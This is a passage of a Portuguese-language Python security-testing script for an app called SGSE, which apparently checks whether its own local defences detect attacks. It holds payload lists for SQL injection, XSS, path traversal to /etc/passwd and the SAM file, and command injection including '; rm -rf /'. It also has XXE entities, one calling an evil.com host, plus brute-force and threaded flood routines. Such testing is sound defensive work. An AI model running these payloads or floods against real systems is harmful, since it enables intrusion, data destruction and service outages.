self.log("BRUTE_FORCE", "✅ DETECTADO (analisador) mesmo sem 429/403", Colors.OKGREEN)
|
||||||
|
self.resultados['brute_force']['detectado'] = True
|
||||||
|
else:
|
||||||
|
self.log("BRUTE_FORCE", f"⚠️ AVISO: Nenhum bloqueio detectado após {tentativas} tentativas", Colors.WARNING)
|
||||||
|
else:
|
||||||
|
self.log("BRUTE_FORCE", f"⚠️ AVISO: analisador retornou {r2.status_code}", Colors.WARNING)
|
||||||
|
except Exception as e:
|
||||||
|
self.log("BRUTE_FORCE", f"⚠️ AVISO: falha ao chamar analisador: {e}", Colors.WARNING)
|
||||||
|
|
||||||
|
return bloqueado
|
||||||
|
|
||||||
|
def testar_sql_injection(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de SQL Injection em campos de entrada
|
||||||
|
"""
|
||||||
|
self.log("SQL_INJECTION", "Iniciando testes de SQL Injection...")
|
||||||
|
|
||||||
|
payloads_sql = [
|
||||||
|
"' OR '1'='1",
|
||||||
|
"' OR '1'='1' --",
|
||||||
|
"' OR '1'='1' /*",
|
||||||
|
"admin'--",
|
||||||
|
"admin'/*",
|
||||||
|
"' UNION SELECT NULL--",
|
||||||
|
"' UNION SELECT NULL, NULL--",
|
||||||
|
"'; DROP TABLE usuarios--",
|
||||||
|
"' OR 1=1#",
|
||||||
|
"' OR 'a'='a",
|
||||||
|
"1' AND '1'='1",
|
||||||
|
"1' OR '1'='1",
|
||||||
|
"admin' OR '1'='1",
|
||||||
|
"' OR 1=1 --",
|
||||||
|
"') OR ('1'='1",
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint_login = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze")
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_sql:
|
||||||
|
try:
|
||||||
|
# Teste no campo email
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint_login,
|
||||||
|
json={"email": payload, "password": "test"},
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# Verificar se houve erro específico de segurança
|
||||||
|
if response.status_code in [400, 403, 422]:
|
||||||
|
if 'sql' in response.text.lower() or 'injection' in response.text.lower():
|
||||||
|
self.log("SQL_INJECTION",
|
||||||
|
f"✅ DETECTADO! Payload: {payload[:30]}...",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['sql_injection']['detectado'] = True
|
||||||
|
|
||||||
|
# Verificar se há WAF bloqueando
|
||||||
|
if response.status_code == 403:
|
||||||
|
self.log("SQL_INJECTION",
|
||||||
|
f"✅ BLOQUEADO pelo WAF! Payload: {payload[:30]}...",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['sql_injection']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
# Registrar via analisador HTTP para validar detecção no backend
|
||||||
|
try:
|
||||||
|
r2 = self.session.post(endpoint_analyze, data=payload, headers={"Content-Type":"text/plain"})
|
||||||
|
if r2.status_code == 200:
|
||||||
|
jd = r2.json()
|
||||||
|
if jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "sql_injection":
|
||||||
|
self.log("SQL_INJECTION", f"✅ DETECTADO (analisador)! Payload: {payload[:30]}...", Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['sql_injection']['detectado'] = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("SQL_INJECTION", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
if not detectado:
|
||||||
|
self.log("SQL_INJECTION",
|
||||||
|
"⚠️ AVISO: Nenhum bloqueio específico de SQL Injection detectado",
|
||||||
|
Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_xss(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de Cross-Site Scripting (XSS)
|
||||||
|
"""
|
||||||
|
self.log("XSS", "Iniciando testes de XSS...")
|
||||||
|
|
||||||
|
payloads_xss = [
|
||||||
|
"<script>alert('XSS')</script>",
|
||||||
|
"<img src=x onerror=alert('XSS')>",
|
||||||
|
"<svg onload=alert('XSS')>",
|
||||||
|
"javascript:alert('XSS')",
|
||||||
|
"<body onload=alert('XSS')>",
|
||||||
|
"<iframe src=javascript:alert('XSS')>",
|
||||||
|
"<input onfocus=alert('XSS') autofocus>",
|
||||||
|
"<select onfocus=alert('XSS') autofocus>",
|
||||||
|
"<textarea onfocus=alert('XSS') autofocus>",
|
||||||
|
"<keygen onfocus=alert('XSS') autofocus>",
|
||||||
|
"<video><source onerror=alert('XSS')>",
|
||||||
|
"<audio src=x onerror=alert('XSS')>",
|
||||||
|
"<details open ontoggle=alert('XSS')>",
|
||||||
|
"<marquee onstart=alert('XSS')>",
|
||||||
|
"<script>alert('XSS')</script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint_login = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze")
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_xss:
|
||||||
|
try:
|
||||||
|
# Teste no campo email
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint_login,
|
||||||
|
json={"email": payload, "password": "test"},
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# Verificar se o payload foi sanitizado ou bloqueado
|
||||||
|
if response.status_code in [400, 403, 422]:
|
||||||
|
if 'script' in response.text.lower() or 'xss' in response.text.lower():
|
||||||
|
self.log("XSS",
|
||||||
|
f"✅ DETECTADO! Payload: {payload[:30]}...",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['xss']['detectado'] = True
|
||||||
|
|
||||||
|
if response.status_code == 403:
|
||||||
|
self.log("XSS",
|
||||||
|
f"✅ BLOQUEADO! Payload: {payload[:30]}...",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['xss']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
# Registrar via analisador HTTP
|
||||||
|
try:
|
||||||
|
r2 = self.session.post(endpoint_analyze, data=payload, headers={"Content-Type":"text/html"})
|
||||||
|
if r2.status_code == 200:
|
||||||
|
jd = r2.json()
|
||||||
|
if jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "xss":
|
||||||
|
self.log("XSS", f"✅ DETECTADO (analisador)! Payload: {payload[:30]}...", Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['xss']['detectado'] = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("XSS", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
if not detectado:
|
||||||
|
self.log("XSS",
|
||||||
|
"⚠️ AVISO: Nenhum bloqueio específico de XSS detectado",
|
||||||
|
Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_ddos(self, num_threads: int = 50, duracao_segundos: int = 10) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataque DDoS simulando muitas requisições simultâneas
|
||||||
|
"""
|
||||||
|
self.log("DDoS",
|
||||||
|
f"Iniciando teste DDoS ({num_threads} threads, {duracao_segundos}s)...")
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze?flood=1")
|
||||||
|
detectado = False
|
||||||
|
inicio = time.time()
|
||||||
|
total_requisicoes = 0
|
||||||
|
bloqueios = 0
|
||||||
|
|
||||||
|
def fazer_requisicao():
|
||||||
|
nonlocal total_requisicoes, bloqueios
|
||||||
|
try:
|
||||||
|
payload = {
|
||||||
|
"email": f"ddos_test_{random.randint(1000, 9999)}@example.com",
|
||||||
|
"password": "test"
|
||||||
|
}
|
||||||
|
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
json=payload,
|
||||||
|
timeout=2,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
total_requisicoes += 1
|
||||||
|
|
||||||
|
if response.status_code == 429: # Too Many Requests
|
||||||
|
bloqueios += 1
|
||||||
|
return True
|
||||||
|
|
||||||
|
if response.status_code == 503: # Service Unavailable
|
||||||
|
bloqueios += 1
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Envia tráfego adicional ao analisador com header indicando flood para registrar DDoS
|
||||||
|
def marcar_analisador():
|
||||||
|
try:
|
||||||
|
r = self.session.post(endpoint_analyze, headers={"X-Flood":"ddos traffic flood"})
|
||||||
|
if r.status_code == 200:
|
||||||
|
jd = r.json()
|
||||||
|
return jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "ddos"
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
return False
|
||||||
|
|
||||||
|
with ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||||
|
futures = []
|
||||||
|
while time.time() - inicio < duracao_segundos:
|
||||||
|
for _ in range(num_threads):
|
||||||
|
if time.time() - inicio >= duracao_segundos:
|
||||||
|
break
|
||||||
|
# alterna entre requisições normais e marcações no analisador
|
||||||
|
if random.random() < 0.3:
|
||||||
|
futures.append(executor.submit(marcar_analisador))
|
||||||
|
else:
|
||||||
|
futures.append(executor.submit(fazer_requisicao))
|
||||||
|
|
||||||
|
# Verificar resultados
|
||||||
|
for future in as_completed(futures[:10]):
|
||||||
|
if future.result() is True:
|
||||||
|
detectado = True
|
||||||
|
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
# Aguardar conclusão das requisições restantes
|
||||||
|
for future in as_completed(futures):
|
||||||
|
if future.result() is True:
|
||||||
|
detectado = True
|
||||||
|
|
||||||
|
taxa_bloqueio = (bloqueios / total_requisicoes * 100) if total_requisicoes > 0 else 0
|
||||||
|
|
||||||
|
if detectado or taxa_bloqueio > 50:
|
||||||
|
self.log("DDoS",
|
||||||
|
f"✅ DETECTADO! {bloqueios}/{total_requisicoes} requisições bloqueadas ({taxa_bloqueio:.1f}%)",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
self.resultados['ddos']['detectado'] = True
|
||||||
|
else:
|
||||||
|
self.log("DDoS",
|
||||||
|
f"⚠️ AVISO: Taxa de bloqueio baixa ({taxa_bloqueio:.1f}%)",
|
||||||
|
Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_path_traversal(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de Path Traversal
|
||||||
|
"""
|
||||||
|
self.log("PATH_TRAVERSAL", "Iniciando testes de Path Traversal...")
|
||||||
|
|
||||||
|
payloads_path = [
|
||||||
|
"../../../etc/passwd",
|
||||||
|
"..\\..\\..\\windows\\system32\\config\\sam",
|
||||||
|
"....//....//....//etc/passwd",
|
||||||
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||||
|
"..%2f..%2f..%2fetc%2fpasswd",
|
||||||
|
"..../..../..../etc/passwd",
|
||||||
|
"../../../proc/self/environ",
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze")
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_path:
|
||||||
|
try:
|
||||||
|
# Tentar em diferentes campos
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
json={"email": payload, "password": "test"},
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 403:
|
||||||
|
self.log("PATH_TRAVERSAL",
|
||||||
|
f"✅ BLOQUEADO! Payload: {payload}",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['path_traversal']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
# Registrar via analisador HTTP
|
||||||
|
try:
|
||||||
|
r2 = self.session.post(endpoint_analyze + f"?file={payload}")
|
||||||
|
if r2.status_code == 200:
|
||||||
|
jd = r2.json()
|
||||||
|
if jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "path_traversal":
|
||||||
|
self.log("PATH_TRAVERSAL", f"✅ DETECTADO (analisador)! Payload: {payload}", Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['path_traversal']['detectado'] = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("PATH_TRAVERSAL", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_command_injection(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de Command Injection
|
||||||
|
"""
|
||||||
|
self.log("COMMAND_INJECTION", "Iniciando testes de Command Injection...")
|
||||||
|
|
||||||
|
payloads_cmd = [
|
||||||
|
"; ls",
|
||||||
|
"| ls",
|
||||||
|
"& ls",
|
||||||
|
"&& ls",
|
||||||
|
"|| ls",
|
||||||
|
"; cat /etc/passwd",
|
||||||
|
"| cat /etc/passwd",
|
||||||
|
"; rm -rf /",
|
||||||
|
"`whoami`",
|
||||||
|
"$(whoami)",
|
||||||
|
"; ping -c 4 127.0.0.1",
|
||||||
|
"| ping -c 4 127.0.0.1",
|
||||||
|
"; echo 'test'",
|
||||||
|
"| echo 'test'",
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze")
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_cmd:
|
||||||
|
try:
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
json={"email": f"test{payload}@example.com", "password": "test"},
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 403:
|
||||||
|
self.log("COMMAND_INJECTION",
|
||||||
|
f"✅ BLOQUEADO! Payload: {payload}",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['command_injection']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
# Registrar via analisador HTTP
|
||||||
|
try:
|
||||||
|
r2 = self.session.post(endpoint_analyze, data=payload, headers={"Content-Type":"text/plain"})
|
||||||
|
if r2.status_code == 200:
|
||||||
|
jd = r2.json()
|
||||||
|
if jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "command_injection":
|
||||||
|
self.log("COMMAND_INJECTION", f"✅ DETECTADO (analisador)! Payload: {payload}", Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['command_injection']['detectado'] = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("COMMAND_INJECTION", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_no_sql_injection(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de NoSQL Injection (para sistemas que usam MongoDB, etc)
|
||||||
|
"""
|
||||||
|
self.log("NOSQL_INJECTION", "Iniciando testes de NoSQL Injection...")
|
||||||
|
|
||||||
|
payloads_nosql = [
|
||||||
|
{"$ne": None},
|
||||||
|
{"$gt": ""},
|
||||||
|
{"$regex": ".*"},
|
||||||
|
{"$where": "this.password == this.username"},
|
||||||
|
{"$or": [{"email": "admin"}, {"email": "test"}]},
|
||||||
|
{"$and": []},
|
||||||
|
{"$nor": []},
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_nosql:
|
||||||
|
try:
|
||||||
|
# Tentar enviar como JSON malicioso
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
json={"email": payload, "password": {"$ne": None}},
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code in [400, 403, 422]:
|
||||||
|
self.log("NOSQL_INJECTION",
|
||||||
|
f"✅ DETECTADO/BLOQUEADO! Payload: {str(payload)[:50]}...",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['no_sql_injection']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("NOSQL_INJECTION", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def testar_xxe(self) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataques de XXE (XML External Entity)
|
||||||
|
"""
|
||||||
|
self.log("XXE", "Iniciando testes de XXE...")
|
||||||
|
|
||||||
|
payloads_xxe = [
|
||||||
|
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
||||||
|
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://evil.com/file">]><foo>&xxe;</foo>',
|
||||||
|
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">]><foo>%xxe;</foo>',
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
detectado = False
|
||||||
|
|
||||||
|
for payload in payloads_xxe:
|
||||||
|
try:
|
||||||
|
# Tentar enviar como XML
|
||||||
|
headers = {'Content-Type': 'application/xml'}
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
data=payload,
|
||||||
|
headers=headers,
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code in [400, 403, 415]:
|
||||||
|
self.log("XXE",
|
||||||
|
f"✅ BLOQUEADO! Tipo de conteúdo XML rejeitado",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
detectado = True
|
||||||
|
self.resultados['xxe']['detectado'] = True
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("XXE", f"Erro: {str(e)}", Colors.WARNING)
|
||||||
|
|
||||||
|
return detectado
|
||||||
|
|
||||||
|
def verificar_eventos_seguranca(self) -> Dict:
|
||||||
|
"""
|
||||||
|
Verifica se os eventos de segurança foram registrados no sistema
|
||||||
|
Nota: Isso requer acesso direto ao Convex ou uma API específica
|
||||||
|
"""
|
||||||
|
self.log("VERIFICACAO", "Verificando eventos registrados no sistema...")
|
||||||
|
|
||||||
|
# Tentar acessar endpoint do Convex (se disponível)
|
||||||
|
# Este é um exemplo - pode precisar ser ajustado conforme a API real
|
||||||
|
|
||||||
|
eventos_detectados = {
|
||||||
|
'brute_force': False,
|
||||||
|
'sql_injection': False,
|
||||||
|
'ddos': False,
|
||||||
|
}
|
||||||
|
|
||||||
|
# Se houver uma API para verificar eventos, usar aqui
|
||||||
|
# Por enquanto, apenas retornamos o que foi detectado durante os testes
|
||||||
|
|
||||||
|
return eventos_detectados
|
||||||
|
|
||||||
|
def gerar_relatorio(self):
|
||||||
|
"""Gera relatório final dos testes"""
|
||||||
|
print(f"\n{Colors.BOLD}{Colors.HEADER}{'='*70}{Colors.ENDC}")
|
||||||
|
print(f"{Colors.BOLD}{Colors.HEADER}RELATÓRIO DE TESTES DE SEGURANÇA - SGSE{Colors.ENDC}")
|
||||||
|
print(f"{Colors.BOLD}{Colors.HEADER}{'='*70}{Colors.ENDC}\n")
|
||||||
|
|
||||||
|
total_testes = len(self.resultados)
|
||||||
|
total_detectados = sum(1 for r in self.resultados.values() if r['detectado'])
|
||||||
|
|
||||||
|
for tipo, resultado in self.resultados.items():
|
||||||
|
status = "✅ DETECTADO" if resultado['detectado'] else "❌ NÃO DETECTADO"
|
||||||
|
cor = Colors.OKGREEN if resultado['detectado'] else Colors.FAIL
|
||||||
|
|
||||||
|
print(f"{cor}[{tipo.upper().replace('_', ' ')}]{Colors.ENDC}")
|
||||||
|
print(f" Status: {cor}{status}{Colors.ENDC}")
|
||||||
|
print(f" Sucessos: {resultado['sucesso']}")
|
||||||
|
print(f" Falhas: {resultado['falhas']}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print(f"{Colors.BOLD}{'='*70}{Colors.ENDC}")
|
||||||
|
print(f"Total de Testes: {total_testes}")
|
||||||
|
print(f"{Colors.OKGREEN if total_detectados == total_testes else Colors.WARNING}")
|
||||||
|
print(f"Ataques Detectados: {total_detectados}/{total_testes}")
|
||||||
|
print(f"{Colors.ENDC}")
|
||||||
|
|
||||||
|
# Recomendações
|
||||||
|
if total_detectados < total_testes:
|
||||||
|
print(f"\n{Colors.WARNING}{Colors.BOLD}RECOMENDAÇÕES:{Colors.ENDC}")
|
||||||
|
tipos_nao_detectados = [tipo for tipo, r in self.resultados.items() if not r['detectado']]
|
||||||
|
for tipo in tipos_nao_detectados:
|
||||||
|
print(f" • Revisar proteção contra {tipo.replace('_', ' ')}")
|
||||||
|
|
||||||
|
print(f"\n{Colors.BOLD}{'='*70}{Colors.ENDC}\n")
|
||||||
|
|
||||||
|
def executar_todos_testes(self):
|
||||||
|
"""Executa todos os testes de segurança"""
|
||||||
|
print(f"\n{Colors.BOLD}{Colors.HEADER}")
|
||||||
|
print("╔" + "═" * 68 + "╗")
|
||||||
|
print("║" + " " * 10 + "TESTES DE SEGURANÇA - SGSE" + " " * 30 + "║")
|
||||||
|
print("╚" + "═" * 68 + "╝")
|
||||||
|
print(f"{Colors.ENDC}\n")
|
||||||
|
|
||||||
|
self.log("INICIO", f"URL Base: {self.base_url}")
|
||||||
|
self.log("INICIO", f"URL Convex: {self.convex_url}\n")
|
||||||
|
|
||||||
|
# Executar testes sequenciais
|
||||||
|
testes = [
|
||||||
|
("Brute Force", self.testar_brute_force),
|
||||||
|
("SQL Injection", self.testar_sql_injection),
|
||||||
|
("XSS", self.testar_xss),
|
||||||
|
("Path Traversal", self.testar_path_traversal),
|
||||||
|
("Command Injection", self.testar_command_injection),
|
||||||
|
("NoSQL Injection", self.testar_no_sql_injection),
|
||||||
|
("XXE", self.testar_xxe),
|
||||||
|
("DDoS", self.testar_ddos),
|
||||||
|
]
|
||||||
|
|
||||||
|
for nome, teste_func in testes:
|
||||||
|
try:
|
||||||
|
print(f"\n{Colors.BOLD}{'-'*70}{Colors.ENDC}")
|
||||||
|
teste_func()
|
||||||
|
time.sleep(1) # Pausa entre testes
|
||||||
|
except Exception as e:
|
||||||
|
self.log("ERRO", f"Erro ao executar {nome}: {str(e)}", Colors.FAIL)
|
||||||
|
|
||||||
|
# Gerar relatório
|
||||||
|
self.gerar_relatorio()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Função principal"""
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description='Teste de Segurança para SGSE',
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Exemplos:
|
||||||
|
# Teste padrão (localhost)
|
||||||
|
python teste_seguranca.py
|
||||||
|
|
||||||
|
# Teste em servidor específico
|
||||||
|
python teste_seguranca.py --url http://192.168.1.100:5173
|
||||||
|
|
||||||
|
# Teste apenas brute force
|
||||||
|
python teste_seguranca.py --teste brute_force
|
||||||
|
|
||||||
|
# Teste DDoS com mais threads
|
||||||
|
python teste_seguranca.py --teste ddos --ddos-threads 100
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.add_argument('--url',
|
||||||
|
default='http://localhost:5173',
|
||||||
|
help='URL base do frontend (padrão: http://localhost:5173)')
|
||||||
|
|
||||||
|
parser.add_argument('--convex-url',
|
||||||
|
default='http://127.0.0.1:3210',
|
||||||
|
help='URL do backend Convex (padrão: http://127.0.0.1:3210)')
|
||||||
|
|
||||||
|
parser.add_argument('--teste',
|
||||||
|
choices=['brute_force', 'sql_injection', 'xss', 'ddos',
|
||||||
|
'path_traversal', 'command_injection', 'nosql', 'xxe', 'todos'],
|
||||||
|
default='todos',
|
||||||
|
help='Tipo de teste a executar (padrão: todos)')
|
||||||
|
|
||||||
|
parser.add_argument('--brute-force-tentativas',
|
||||||
|
type=int,
|
||||||
|
default=10,
|
||||||
|
help='Número de tentativas no teste de brute force (padrão: 10)')
|
||||||
|
|
||||||
|
parser.add_argument('--ddos-threads',
|
||||||
|
type=int,
|
||||||
|
default=50,
|
||||||
|
help='Número de threads para teste DDoS (padrão: 50)')
|
||||||
|
|
||||||
|
parser.add_argument('--ddos-duracao',
|
||||||
|
type=int,
|
||||||
|
default=10,
|
||||||
|
help='Duração do teste DDoS em segundos (padrão: 10)')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
tester = SegurancaTeste(base_url=args.url, convex_url=args.convex_url)
|
||||||
|
|
||||||
|
if args.teste == 'todos':
|
||||||
|
tester.executar_todos_testes()
|
||||||
|
elif args.teste == 'brute_force':
|
||||||
|
tester.testar_brute_force(tentativas=args.brute_force_tentativas)
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'sql_injection':
|
||||||
|
tester.testar_sql_injection()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'xss':
|
||||||
|
tester.testar_xss()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'ddos':
|
||||||
|
tester.testar_ddos(num_threads=args.ddos_threads,
|
||||||
|
duracao_segundos=args.ddos_duracao)
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'path_traversal':
|
||||||
|
tester.testar_path_traversal()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'command_injection':
|
||||||
|
tester.testar_command_injection()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'nosql':
|
||||||
|
tester.testar_no_sql_injection()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
elif args.teste == 'xxe':
|
||||||
|
tester.testar_xxe()
|
||||||
|
tester.gerar_relatorio()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user